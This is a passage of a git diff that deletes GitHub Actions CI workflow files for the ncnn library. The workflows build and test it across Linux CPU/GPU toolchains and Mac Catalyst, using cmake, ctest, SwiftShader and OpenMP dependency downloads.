&& cd build-simplestl - cmake -DCMAKE_TOOLCHAIN_FILE=../toolchains/host-c.clang.toolchain.cmake -DNCNN_STDIO=ON -DNCNN_STRING=ON -DNCNN_SIMPLESTL=ON -DNCNN_BUILD_TESTS=ON -DNCNN_BUILD_BENCHMARK=OFF -DNCNN_BUILD_TOOLS=OFF -DNCNN_BUILD_EXAMPLES=OFF .. - cmake --build . -j $(nproc) - - name: test-simplestl - run: cd build-simplestl && ctest --output-on-failure -j $(nproc) - - name: build-simplestl-simpleomp - env: - CC: clang - CXX: clang++ - run: | - mkdir build-simplestl-simpleomp && cd build-simplestl-simpleomp - cmake -DCMAKE_TOOLCHAIN_FILE=../toolchains/host-c.clang.toolchain.cmake -DNCNN_STDIO=ON -DNCNN_STRING=ON -DNCNN_SIMPLESTL=ON -DNCNN_SIMPLEOMP=ON -DNCNN_BUILD_TESTS=ON -DNCNN_BUILD_BENCHMARK=OFF -DNCNN_BUILD_TOOLS=OFF -DNCNN_BUILD_EXAMPLES=OFF .. - cmake --build . -j $(nproc) - - name: test-simplestl-simpleomp - run: cd build-simplestl-simpleomp && ctest --output-on-failure -j $(nproc) diff --git a/.github/workflows/linux-x64-cpu-gcc-musl.yml b/.github/workflows/linux-x64-cpu-gcc-musl.yml deleted file mode 100644 index cf3d2087d200..000000000000 --- a/.github/workflows/linux-x64-cpu-gcc-musl.yml +++ /dev/null @@ -1,67 +0,0 @@ -name: linux-x64-cpu-gcc-musl -on: - push: - branches: [master] - paths: - - '.github/workflows/linux-x64-cpu-gcc-musl.yml' - - 'toolchains/host-c.gcc.toolchain.cmake' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/x86/**' - - 'tests/**' - - 'tools/**' - - '!tools/pnnx/**' - - 'examples/**' - pull_request: - branches: [master] - paths: - - '.github/workflows/linux-x64-cpu-gcc-musl.yml' - - 'toolchains/host-c.gcc.toolchain.cmake' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/x86/**' - - 'tests/**' - - 'tools/**' - - '!tools/pnnx/**' - - 'examples/**' -concurrency: - group: linux-x64-cpu-gcc-musl-${{ github.ref }} - cancel-in-progress: true -permissions: - contents: read - -jobs: - linux-gcc-musl: - runs-on: ubuntu-latest - steps: - - uses: jirutka/setup-alpine@v1 - with: - packages: > - cmake - clang - clang-dev - make - gcc - g++ - libc-dev - linux-headers - - - uses: actions/checkout@v4 - - name: build - shell: alpine.sh {0} - run: | - mkdir build && cd build - cmake -DNCNN_BUILD_TESTS=ON .. - cmake --build . -j $(nproc) - - name: test - shell: alpine.sh {0} - run: cd build && ctest --output-on-failure -j $(nproc) - - name: build-shared - run: | - mkdir build-shared && cd build-shared - cmake -DNCNN_SHARED_LIB=ON .. - cmake --build . -j $(nproc) diff --git a/.github/workflows/linux-x64-cpu-gcc-san.yml b/.github/workflows/linux-x64-cpu-gcc-san.yml deleted file mode 100644 index 8a52096461fc..000000000000 --- a/.github/workflows/linux-x64-cpu-gcc-san.yml +++ /dev/null @@ -1,42 +0,0 @@ -name: linux-x64-cpu-gcc-san -on: - push: - branches: [master] - paths: - - '.github/workflows/linux-x64-cpu-gcc-san.yml' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/x86/**' - - 'tests/**' - pull_request: - branches: [master] - paths: - - '.github/workflows/linux-x64-cpu-gcc-san.yml' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/x86/**' - - 'tests/**' -concurrency: - group: linux-x64-cpu-gcc-san-${{ github.ref }} - cancel-in-progress: true -permissions: - contents: read - -jobs: - linux-gcc-san: - runs-on: ubuntu-22.04 - steps: - - uses: actions/checkout@v4 - - name: build - run: | - mkdir build && cd build - cmake -DCMAKE_BUILD_TYPE=debug -DNCNN_ASAN=ON -DNCNN_BUILD_TESTS=ON -DNCNN_BUILD_TOOLS=OFF -DNCNN_BUILD_EXAMPLES=OFF .. - cmake --build . -j $(nproc) - - name: test - run: | - cd build - ctest --output-on-failure -j $(nproc) diff --git a/.github/workflows/linux-x64-cpu-gcc-sde.yml b/.github/workflows/linux-x64-cpu-gcc-sde.yml deleted file mode 100644 index eb680173743b..000000000000 --- a/.github/workflows/linux-x64-cpu-gcc-sde.yml +++ /dev/null @@ -1,57 +0,0 @@ -name: linux-x64-cpu-gcc-sde -on: - push: - branches: [master] - paths: - - '.github/workflows/linux-x64-cpu-gcc-sde.yml' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/x86/**' - - 'tests/**' - - 'tools/**' - - '!tools/pnnx/**' - - 'examples/**' - pull_request: - branches: [master] - paths: - - '.github/workflows/linux-x64-cpu-gcc-sde.yml' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/x86/**' - - 'tests/**' - - 'tools/**' - - '!tools/pnnx/**' - - 'examples/**' -concurrency: - group: linux-x64-cpu-gcc-sde-${{ github.ref }} - cancel-in-progress: true -permissions: - contents: read - -jobs: - linux-gcc-sde: - runs-on: ubuntu-22.04 - steps: - - uses: actions/checkout@v4 - - name: update - run: sudo apt-get update - - name: gcc12 - run: sudo apt-get install gcc-12 g++-12 - - name: Setup SDE binaries - uses: petarpetrovt/setup-sde@v2.4 - - name: build-avx512-spr - env: - CC: gcc-12 - CXX: g++-12 - run: | - mkdir build-avx512-spr && cd build-avx512-spr - cmake -DNCNN_BUILD_TESTS=ON .. - cmake --build . -j $(nproc) - - name: test-avx512-spr - run: | - cd build-avx512-spr - TESTS_EXECUTABLE_LOADER=$SDE_PATH/sde64 TESTS_EXECUTABLE_LOADER_ARGUMENTS="-spr;--" ctest --output-on-failure -j $(nproc) diff --git a/.github/workflows/linux-x64-cpu-gcc.yml b/.github/workflows/linux-x64-cpu-gcc.yml deleted file mode 100644 index ab2185be3e74..000000000000 --- a/.github/workflows/linux-x64-cpu-gcc.yml +++ /dev/null @@ -1,134 +0,0 @@ -name: linux-x64-cpu-gcc -on: - push: - branches: [master] - paths: - - '.github/workflows/linux-x64-cpu-gcc.yml' - - 'toolchains/host-c.gcc.toolchain.cmake' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/x86/**' - - 'tests/**' - - 'tools/**' - - '!tools/pnnx/**' - - 'examples/**' - pull_request: - branches: [master] - paths: - - '.github/workflows/linux-x64-cpu-gcc.yml' - - 'toolchains/host-c.gcc.toolchain.cmake' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/x86/**' - - 'tests/**' - - 'tools/**' - - '!tools/pnnx/**' - - 'examples/**' -concurrency: - group: linux-x64-cpu-gcc-${{ github.ref }} - cancel-in-progress: true -permissions: - contents: read - -jobs: - linux-gcc: - runs-on: ubuntu-20.04 - steps: - - uses: actions/checkout@v4 - - name: update - run: sudo apt-get update - - name: protobuf - run: sudo apt-get install libprotobuf-dev protobuf-compiler libopencv-dev - - name: build-sse2 - run: | - mkdir build-sse2 && cd build-sse2 - cmake -DNCNN_AVX=OFF -DNCNN_AVX2=OFF -DNCNN_BUILD_TESTS=ON .. - cmake --build . -j $(nproc) - - name: test-sse2 - run: cd build-sse2 && ctest --output-on-failure -j $(nproc) - - name: build-shared - run: | - mkdir build-shared && cd build-shared - cmake -DNCNN_AVX2=ON -DNCNN_SHARED_LIB=ON .. - cmake --build . -j $(nproc) - - name: build-avx2 - run: | - mkdir build-avx2 && cd build-avx2 - cmake -DNCNN_AVX2=ON -DNCNN_BUILD_TESTS=ON .. - cmake --build . -j $(nproc) - - name: test-avx2 - run: cd build-avx2 && ctest --output-on-failure -j $(nproc) - - name: build-avx - run: | - mkdir build-avx && cd build-avx - cmake -DNCNN_AVX2=OFF -DNCNN_AVX=ON -DNCNN_BUILD_TESTS=ON .. - cmake --build . -j $(nproc) - - name: test-avx - run: cd build-avx && ctest --output-on-failure -j $(nproc) - - name: build-avx1-2 - run: | - mkdir build-avx1-2 && cd build-avx1-2 - cmake -DNCNN_AVX2=ON -DNCNN_AVX=ON -DNCNN_BUILD_TESTS=ON .. - cmake --build . -j $(nproc) - - name: test-avx1-2 - run: cd build-avx1-2 && ctest --output-on-failure -j $(nproc) - - name: build-noint8 - run: | - mkdir build-noint8 && cd build-noint8 - cmake -DNCNN_INT8=OFF -DNCNN_BUILD_TESTS=ON .. - cmake --build . -j $(nproc) - - name: test-noint8 - run: cd build-noint8 && ctest --output-on-failure -j $(nproc) - - linux-gcc-cpp03-nostdio-nostring-simplestl: - runs-on: ubuntu-20.04 - steps: - - uses: actions/checkout@v4 - - name: build-nostdio - run: | - mkdir build-nostdio && cd build-nostdio - cmake -DCMAKE_TOOLCHAIN_FILE=../toolchains/host.gcc-c++03.toolchain.cmake -DNCNN_BUILD_TESTS=ON -DNCNN_BUILD_TOOLS=OFF -DNCNN_BUILD_EXAMPLES=OFF .. - cmake --build . -j $(nproc) - - name: test-nostdio - run: cd build-nostdio && ctest --output-on-failure -j $(nproc) - - name: build-nostdio-nostring - run: | - mkdir build-nostdio-nostring && cd build-nostdio-nostring - cmake -DNCNN_STDIO=OFF -DNCNN_STRING=OFF -DNCNN_BUILD_TESTS=OFF -DNCNN_BUILD_BENCHMARK=OFF -DNCNN_BUILD_TOOLS=OFF -DNCNN_BUILD_EXAMPLES=OFF .. - cmake --build . -j $(nproc) - - name: build-simplestl - run: | - mkdir build-simplestl && cd build-simplestl - cmake -DCMAKE_TOOLCHAIN_FILE=../toolchains/host-c.gcc.toolchain.cmake -DNCNN_STDIO=ON -DNCNN_STRING=ON -DNCNN_SIMPLESTL=ON -DNCNN_BUILD_TESTS=ON -DNCNN_BUILD_BENCHMARK=OFF -DNCNN_BUILD_TOOLS=OFF -DNCNN_BUILD_EXAMPLES=OFF .. - cmake --build . -j $(nproc) - - name: test-simplestl - run: cd build-simplestl && ctest --output-on-failure -j $(nproc) - - name: build-simplestl-simpleomp - run: | - mkdir build-simplestl-simpleomp && cd build-simplestl-simpleomp - cmake -DCMAKE_TOOLCHAIN_FILE=../toolchains/host-c.gcc.toolchain.cmake -DNCNN_STDIO=ON -DNCNN_STRING=ON -DNCNN_SIMPLESTL=ON -DNCNN_SIMPLEOMP=ON -DNCNN_BUILD_TESTS=ON -DNCNN_BUILD_BENCHMARK=OFF -DNCNN_BUILD_TOOLS=OFF -DNCNN_BUILD_EXAMPLES=OFF .. - cmake --build . -j $(nproc) - - name: test-simplestl-simpleomp - run: cd build-simplestl-simpleomp && ctest --output-on-failure -j $(nproc) - - linux-gcc-avx512: - runs-on: [self-hosted, linux, t4] - steps: - - uses: actions/checkout@v4 - - name: build - env: - CC: gcc - CXX: g++ - LD_LIBRARY_PATH: /data/action/install/lib64 - run: | - mkdir build && cd build - cmake -DNCNN_AVX2=ON -DNCNN_AVX512=ON -DNCNN_AVX512VNNI=ON -DNCNN_BUILD_TESTS=ON -DNCNN_BUILD_TOOLS=OFF -DNCNN_BUILD_EXAMPLES=OFF .. - cmake --build . -j 4 - - name: test - env: - LD_LIBRARY_PATH: /data/action/install/lib64 - run: cd build && ctest --output-on-failure -j 4 diff --git a/.github/workflows/linux-x64-gpu-clang.yml b/.github/workflows/linux-x64-gpu-clang.yml deleted file mode 100644 index 0d0ba34f28e9..000000000000 --- a/.github/workflows/linux-x64-gpu-clang.yml +++ /dev/null @@ -1,91 +0,0 @@ -name: linux-x64-gpu-clang -on: - push: - branches: [master] - paths: - - '.github/workflows/linux-x64-gpu-clang.yml' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/x86/**' - - 'src/layer/vulkan/**' - - 'tests/**' - - 'tools/**' - - '!tools/pnnx/**' - - 'examples/**' - pull_request: - branches: [master] - paths: - - '.github/workflows/linux-x64-gpu-clang.yml' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/x86/**' - - 'src/layer/vulkan/**' - - 'tests/**' - - 'tools/**' - - '!tools/pnnx/**' - - 'examples/**' -concurrency: - group: linux-x64-gpu-clang-${{ github.ref }} - cancel-in-progress: true -permissions: - contents: read - -jobs: - linux-clang-gpu: - runs-on: [self-hosted, linux, cvm] - steps: - - uses: actions/checkout@v4 - with: - submodules: true - - name: cache-swiftshader - id: cache-swiftshader - uses: actions/cache@v4 - with: - path: swiftshader-install - key: swiftshader-linux-install-20240622 - - name: checkout-swiftshader - if: steps.cache-swiftshader.outputs.cache-hit != 'true' - uses: actions/checkout@v4 - with: - repository: google/swiftshader - path: swiftshader - ref: de870ac7518fe2b6bb651ecc22fc36647cf7b986 - - name: checkout-swiftshader-submodules - if: steps.cache-swiftshader.outputs.cache-hit != 'true' - run: | - cd swiftshader - git -c submodule."third_party/git-hooks".update=none submodule update --init --recursive - - name: swiftshader - if: steps.cache-swiftshader.outputs.cache-hit != 'true' - run: | - cd swiftshader - mkdir -p build; cd build - cmake -DCMAKE_INSTALL_PREFIX=install -DSWIFTSHADER_BUILD_EGL=FALSE -DSWIFTSHADER_BUILD_GLESv2=FALSE -DSWIFTSHADER_BUILD_GLES_CM=FALSE -DSWIFTSHADER_BUILD_VULKAN=TRUE -DSWIFTSHADER_BUILD_PVR=FALSE -DSWIFTSHADER_BUILD_TESTS=FALSE -DSWIFTSHADER_ENABLE_ASTC=FALSE -DSWIFTSHADER_WARNINGS_AS_ERRORS=FALSE -DREACTOR_BACKEND=Subzero -DREACTOR_DEFAULT_OPT_LEVEL=Default -DCMAKE_BUILD_TYPE=Release .. - cmake --build . -j 4 - mkdir $GITHUB_WORKSPACE/swiftshader-install - cp Linux/* $GITHUB_WORKSPACE/swiftshader-install - - name: build - env: - CC: clang - CXX: clang++ - run: | - mkdir build && cd build - cmake -DNCNN_VULKAN=ON -DNCNN_BUILD_TESTS=ON .. - cmake --build . -j 4 - - name: test - run: | - printf "[Processor]\nThreadCount=1\n" > build/tests/SwiftShader.ini - export VK_ICD_FILENAMES="$GITHUB_WORKSPACE/swiftshader-install/vk_swiftshader_icd.json" - cd build && ctest --output-on-failure -j 4 - - name: build-shared - env: - CC: clang - CXX: clang++ - run: | - mkdir build-shared && cd build-shared - cmake -DNCNN_VULKAN=ON -DNCNN_SHARED_LIB=ON .. - cmake --build . -j 4 diff --git a/.github/workflows/linux-x64-gpu-gcc.yml b/.github/workflows/linux-x64-gpu-gcc.yml deleted file mode 100644 index 27052a9e470b..000000000000 --- a/.github/workflows/linux-x64-gpu-gcc.yml +++ /dev/null @@ -1,127 +0,0 @@ -name: linux-x64-gpu-gcc -on: - push: - branches: [master] - paths: - - '.github/workflows/linux-x64-gpu-gcc.yml' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/x86/**' - - 'src/layer/vulkan/**' - - 'tests/**' - - 'tools/**' - - '!tools/pnnx/**' - - 'examples/**' - pull_request: - branches: [master] - paths: - - '.github/workflows/linux-x64-gpu-gcc.yml' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/x86/**' - - 'src/layer/vulkan/**' - - 'tests/**' - - 'tools/**' - - '!tools/pnnx/**' - - 'examples/**' -concurrency: - group: linux-x64-gpu-gcc-${{ github.ref }} - cancel-in-progress: true -permissions: - contents: read - -jobs: - linux-gcc-gpu: - runs-on: [self-hosted, linux, cvm] - steps: - - uses: actions/checkout@v4 - with: - submodules: true - - name: cache-swiftshader - id: cache-swiftshader - uses: actions/cache@v4 - with: - path: swiftshader-install - key: swiftshader-linux-install-20240622 - - name: checkout-swiftshader - if: steps.cache-swiftshader.outputs.cache-hit != 'true' - uses: actions/checkout@v4 - with: - repository: google/swiftshader - path: swiftshader - ref: de870ac7518fe2b6bb651ecc22fc36647cf7b986 - - name: checkout-swiftshader-submodules - if: steps.cache-swiftshader.outputs.cache-hit != 'true' - run: | - cd swiftshader - git -c submodule."third_party/git-hooks".update=none submodule update --init --recursive - - name: swiftshader - if: steps.cache-swiftshader.outputs.cache-hit != 'true' - run: | - cd swiftshader - mkdir -p build; cd build - cmake -DCMAKE_INSTALL_PREFIX=install -DSWIFTSHADER_BUILD_EGL=FALSE -DSWIFTSHADER_BUILD_GLESv2=FALSE -DSWIFTSHADER_BUILD_GLES_CM=FALSE -DSWIFTSHADER_BUILD_VULKAN=TRUE -DSWIFTSHADER_BUILD_PVR=FALSE -DSWIFTSHADER_BUILD_TESTS=FALSE -DSWIFTSHADER_ENABLE_ASTC=FALSE -DSWIFTSHADER_WARNINGS_AS_ERRORS=FALSE -DREACTOR_BACKEND=Subzero -DREACTOR_DEFAULT_OPT_LEVEL=Default -DCMAKE_BUILD_TYPE=Release .. - cmake --build . -j 4 - mkdir $GITHUB_WORKSPACE/swiftshader-install - cp Linux/* $GITHUB_WORKSPACE/swiftshader-install - - name: build - run: | - mkdir build && cd build - cmake -DNCNN_VULKAN=ON -DNCNN_BUILD_TESTS=ON .. - cmake --build . -j 4 - - name: test - run: | - printf "[Processor]\nThreadCount=1\n" > build/tests/SwiftShader.ini - export VK_ICD_FILENAMES="$GITHUB_WORKSPACE/swiftshader-install/vk_swiftshader_icd.json" - cd build && ctest --output-on-failure -j 4 - - name: build-shared - run: | - mkdir build-shared && cd build-shared - cmake -DNCNN_VULKAN=ON -DNCNN_SHARED_LIB=ON .. - cmake --build . -j 4 - - linux-gcc-gpu-system-glslang: - runs-on: ubuntu-20.04 - steps: - - uses: actions/checkout@v4 - - - name: install-deps - run: | - sudo apt-get update - sudo apt-get install libprotobuf-dev protobuf-compiler libopencv-dev libvulkan-dev glslang-dev spirv-tools - - - name: build - run: | - mkdir build && cd build - cmake -DNCNN_VULKAN=ON -DNCNN_SYSTEM_GLSLANG=ON -DGLSLANG_TARGET_DIR=/usr/lib/x86_64-linux-gnu/cmake .. - cmake --build . -j $(nproc) - - name: build-shared - run: | - mkdir build-shared && cd build-shared - cmake -DNCNN_VULKAN=ON -DNCNN_SYSTEM_GLSLANG=ON -DGLSLANG_TARGET_DIR=/usr/lib/x86_64-linux-gnu/cmake -DNCNN_SHARED_LIB=ON .. - cmake --build . -j $(nproc) - - linux-gcc-gpu-t4: - runs-on: [self-hosted, linux, t4] - steps: - - uses: actions/checkout@v4 - with: - submodules: true - - name: build - env: - CC: gcc - CXX: g++ - LD_LIBRARY_PATH: /data/action/install/lib64 - run: | - mkdir build && cd build - cmake -DNCNN_VULKAN=ON -DNCNN_BUILD_TESTS=ON -DNCNN_BUILD_TOOLS=OFF -DNCNN_BUILD_EXAMPLES=OFF .. - cmake --build . -j 4 - - name: test - env: - LD_LIBRARY_PATH: /data/action/install/lib64 - run: | - cd build && ctest --output-on-failure -j 4 diff --git a/.github/workflows/linux-x86-cpu-clang.yml b/.github/workflows/linux-x86-cpu-clang.yml deleted file mode 100644 index 2ce454c36f4d..000000000000 --- a/.github/workflows/linux-x86-cpu-clang.yml +++ /dev/null @@ -1,67 +0,0 @@ -name: linux-x86-cpu-clang -on: - push: - branches: [master] - paths: - - '.github/workflows/linux-x86-cpu-clang.yml' - - 'toolchains/host.clang-m32.toolchain.cmake' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/x86/**' - - 'tests/**' - pull_request: - branches: [master] - paths: - - '.github/workflows/linux-x86-cpu-clang.yml' - - 'toolchains/host.clang-m32.toolchain.cmake' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/x86/**' - - 'tests/**' -concurrency: - group: linux-x86-cpu-clang-${{ github.ref }} - cancel-in-progress: true -permissions: - contents: read - -jobs: - linux-clang: - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v4 - - name: update - run: sudo apt-get update - - name: gcc-multilib - run: sudo apt-get install gcc-multilib g++-multilib - - name: build - env: - CC: clang - CXX: clang++ - run: | - mkdir build && cd build - cmake -DCMAKE_TOOLCHAIN_FILE=../toolchains/host.clang-m32.toolchain.cmake -DNCNN_BUILD_TESTS=ON -DNCNN_BUILD_TOOLS=OFF -DNCNN_BUILD_EXAMPLES=OFF .. - cmake --build . -j $(nproc) - - name: test - run: cd build && ctest --output-on-failure -j $(nproc) - - name: build-shared - env: - CC: clang - CXX: clang++ - run: | - mkdir build-shared && cd build-shared - cmake -DCMAKE_TOOLCHAIN_FILE=../toolchains/host.clang-m32.toolchain.cmake -DNCNN_BUILD_TOOLS=OFF -DNCNN_BUILD_EXAMPLES=OFF -DNCNN_SHARED_LIB=ON .. - cmake --build . -j $(nproc) - - name: build-noint8 - env: - CC: clang - CXX: clang++ - run: | - mkdir build-noint8 && cd build-noint8 - cmake -DCMAKE_TOOLCHAIN_FILE=../toolchains/host.clang-m32.toolchain.cmake -DNCNN_BUILD_TESTS=ON -DNCNN_BUILD_TOOLS=OFF -DNCNN_BUILD_EXAMPLES=OFF -DNCNN_INT8=OFF .. - cmake --build . -j $(nproc) - - name: test-noint8 - run: cd build-noint8 && ctest --output-on-failure -j $(nproc) diff --git a/.github/workflows/linux-x86-cpu-gcc.yml b/.github/workflows/linux-x86-cpu-gcc.yml deleted file mode 100644 index 1d88eb3a840d..000000000000 --- a/.github/workflows/linux-x86-cpu-gcc.yml +++ /dev/null @@ -1,65 +0,0 @@ -name: linux-x86-cpu-gcc -on: - push: - branches: [master] - paths: - - '.github/workflows/linux-x86-cpu-gcc.yml' - - 'toolchains/host.gcc-m32.toolchain.cmake' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/x86/**' - - 'tests/**' - pull_request: - branches: [master] - paths: - - '.github/workflows/linux-x86-cpu-gcc.yml' - - 'toolchains/host.gcc-m32.toolchain.cmake' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/x86/**' - - 'tests/**' -concurrency: - group: linux-x86-cpu-gcc-${{ github.ref }} - cancel-in-progress: true -permissions: - contents: read - -jobs: - linux-gcc: - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v4 - - name: update - run: sudo apt-get update - - name: gcc-multilib - run: sudo apt-get install gcc-multilib g++-multilib - - name: build - run: | - mkdir build && cd build - cmake -DCMAKE_TOOLCHAIN_FILE=../toolchains/host.gcc-m32.toolchain.cmake -DNCNN_BUILD_TESTS=ON -DNCNN_BUILD_TOOLS=OFF -DNCNN_BUILD_EXAMPLES=OFF .. - cmake --build . -j $(nproc) - - name: test - run: cd build && ctest --output-on-failure -j $(nproc) - - name: build-nosse - run: | - mkdir build-nosse && cd build-nosse - cmake -DCMAKE_TOOLCHAIN_FILE=../toolchains/host.gcc-m32.toolchain.cmake -DNCNN_RUNTIME_CPU=OFF -DNCNN_SSE2=OFF -DNCNN_AVX=OFF -DNCNN_BUILD_TESTS=ON -DNCNN_BUILD_TOOLS=OFF -DNCNN_BUILD_EXAMPLES=OFF .. - cmake --build . -j $(nproc) - - name: test-nosse - run: cd build-nosse && ctest --output-on-failure -j $(nproc) - - name: build-shared - run: | - mkdir build-shared && cd build-shared - cmake -DCMAKE_TOOLCHAIN_FILE=../toolchains/host.gcc-m32.toolchain.cmake -DNCNN_BUILD_TOOLS=OFF -DNCNN_BUILD_EXAMPLES=OFF -DNCNN_SHARED_LIB=ON .. - cmake --build . -j $(nproc) - - name: build-noint8 - run: | - mkdir build-noint8 && cd build-noint8 - cmake -DCMAKE_TOOLCHAIN_FILE=../toolchains/host.gcc-m32.toolchain.cmake -DNCNN_BUILD_TESTS=ON -DNCNN_BUILD_TOOLS=OFF -DNCNN_BUILD_EXAMPLES=OFF -DNCNN_INT8=OFF .. - cmake --build . -j $(nproc) - - name: test-noint8 - run: cd build-noint8 && ctest --output-on-failure -j $(nproc) diff --git a/.github/workflows/mac-catalyst.yml b/.github/workflows/mac-catalyst.yml deleted file mode 100644 index 60bffcc75f69..000000000000 --- a/.github/workflows/mac-catalyst.yml +++ /dev/null @@ -1,145 +0,0 @@ -name: mac-catalyst -on: - push: - branches: [master] - paths: - - '.github/workflows/mac-catalyst.yml' - - 'toolchains/ios.toolchain.cmake' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/arm/**' - - 'src/layer/x86/**' - - 'src/layer/vulkan/**' - pull_request: - branches: [master] - paths: - - '.github/workflows/mac-catalyst.yml' - - 'toolchains/ios.toolchain.cmake' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/arm/**' - - 'src/layer/x86/**' - - 'src/layer/vulkan/**' -concurrency: - group: mac-catalyst-${{ github.ref }} - cancel-in-progress: true -env: - DEVELOPER_DIR: /Applications/Xcode_15.2.app/Contents/Developer - MAC_CATALYST_DEPLOYMENT_TARGET: '13.1' - ENABLE_BITCODE: OFF - ENABLE_ARC: OFF - ENABLE_VISIBILITY: OFF -permissions: - contents: read - -jobs: - build: - runs-on: macos-13 - env: - OPENMP_VERSION: '18.1.2' - OPENMP_CMAKE_OPTIONS: | - -DCMAKE_TOOLCHAIN_FILE=../../toolchains/ios.toolchain.cmake \ - -DDEPLOYMENT_TARGET=$MAC_CATALYST_DEPLOYMENT_TARGET \ - -DENABLE_BITCODE=$ENABLE_BITCODE \ - -DENABLE_ARC=$ENABLE_ARC \ - -DENABLE_VISIBILITY=$ENABLE_VISIBILITY \ - -DCMAKE_INSTALL_PREFIX=install \ - -DCMAKE_BUILD_TYPE=Release \ - -DPERL_EXECUTABLE=/usr/local/bin/perl \ - -DLIBOMP_ENABLE_SHARED=OFF \ - -DLIBOMP_OMPT_SUPPORT=OFF \ - -DLIBOMP_USE_HWLOC=OFF \ - - MOLTENVK_VERSION: 'v1.2.8' - NCNN_CMAKE_OPTIONS: | - -DCMAKE_TOOLCHAIN_FILE=../toolchains/ios.toolchain.cmake \ - -DDEPLOYMENT_TARGET=$MAC_CATALYST_DEPLOYMENT_TARGET \ - -DENABLE_BITCODE=$ENABLE_BITCODE \ - -DENABLE_ARC=$ENABLE_ARC \ - -DENABLE_VISIBILITY=$ENABLE_VISIBILITY \ - -DCMAKE_INSTALL_PREFIX=install \ - -DCMAKE_BUILD_TYPE=Release \ - -DOpenMP_C_FLAGS="-Xclang -fopenmp" -DOpenMP_CXX_FLAGS="-Xclang -fopenmp" \ - -DOpenMP_C_LIB_NAMES="libomp" -DOpenMP_CXX_LIB_NAMES="libomp" \ - -DOpenMP_libomp_LIBRARY="libomp.a" \ - -DNCNN_VULKAN=ON \ - - steps: - - uses: actions/checkout@v4 - with: - submodules: true - - - name: cache-openmp - id: cache-openmp - uses: actions/cache@v4 - with: - path: openmp-install - key: openmp-mac-catalyst-install-20240403 - - name: openmp - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - wget https://github.com/llvm/llvm-project/releases/download/llvmorg-${{ env.OPENMP_VERSION }}/cmake-${{ env.OPENMP_VERSION }}.src.tar.xz - tar -xf cmake-${{ env.OPENMP_VERSION }}.src.tar.xz - wget https://github.com/llvm/llvm-project/releases/download/llvmorg-${{ env.OPENMP_VERSION }}/openmp-${{ env.OPENMP_VERSION }}.src.tar.xz - tar -xf openmp-${{ env.OPENMP_VERSION }}.src.tar.xz - mv cmake-${{ env.OPENMP_VERSION }}.src/Modules/* openmp-${{ env.OPENMP_VERSION }}.src/cmake/ - cd openmp-${{ env.OPENMP_VERSION }}.src - wget https://github.com/nihui/llvm-project/commit/ef8c35bcf5d9cfdb0764ffde6a63c04ec715bc37.patch - patch -p2 -i ef8c35bcf5d9cfdb0764ffde6a63c04ec715bc37.patch - wget https://github.com/nihui/llvm-project/commit/5c12711f9a21f41bea70566bf15a4026804d6b20.patch - patch -p2 -i 5c12711f9a21f41bea70566bf15a4026804d6b20.patch - - name: openmp-x86_64 - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - cd openmp-${{ env.OPENMP_VERSION }}.src - mkdir -p build-x86_64 && cd build-x86_64 - cmake ${{ env.OPENMP_CMAKE_OPTIONS }} -DPLATFORM=MAC_CATALYST -DARCHS="x86_64" .. - cmake --build . -j 4 - cmake --build . --target install - - name: openmp-arm64 - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - cd openmp-${{ env.OPENMP_VERSION }}.src - mkdir -p build-arm64 && cd build-arm64 - cmake ${{ env.OPENMP_CMAKE_OPTIONS }} -DPLATFORM=MAC_CATALYST_ARM64 -DARCHS="arm64" .. - cmake --build . -j 4 - cmake --build . --target install - - name: openmp-merge-fat-library - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - mkdir -p $GITHUB_WORKSPACE/openmp-install - mkdir -p $GITHUB_WORKSPACE/openmp-install/mac-catalyst - - cp -a openmp-${{ env.OPENMP_VERSION }}.src/build-x86_64/install/include $GITHUB_WORKSPACE/openmp-install/mac-catalyst - mkdir -p $GITHUB_WORKSPACE/openmp-install/mac-catalyst/lib - lipo -create \ - openmp-${{ env.OPENMP_VERSION }}.src/build-x86_64/install/lib/libomp.a \ - openmp-${{ env.OPENMP_VERSION }}.src/build-arm64/install/lib/libomp.a \ - -o $GITHUB_WORKSPACE/openmp-install/mac-catalyst/lib/libomp.a - - - name: install-openmp - run: | - sudo cp $GITHUB_WORKSPACE/openmp-install/mac-catalyst/include/* $DEVELOPER_DIR/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include - sudo cp $GITHUB_WORKSPACE/openmp-install/mac-catalyst/lib/libomp.a $DEVELOPER_DIR/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/lib - - - name: moltenvk - run: | - wget -q 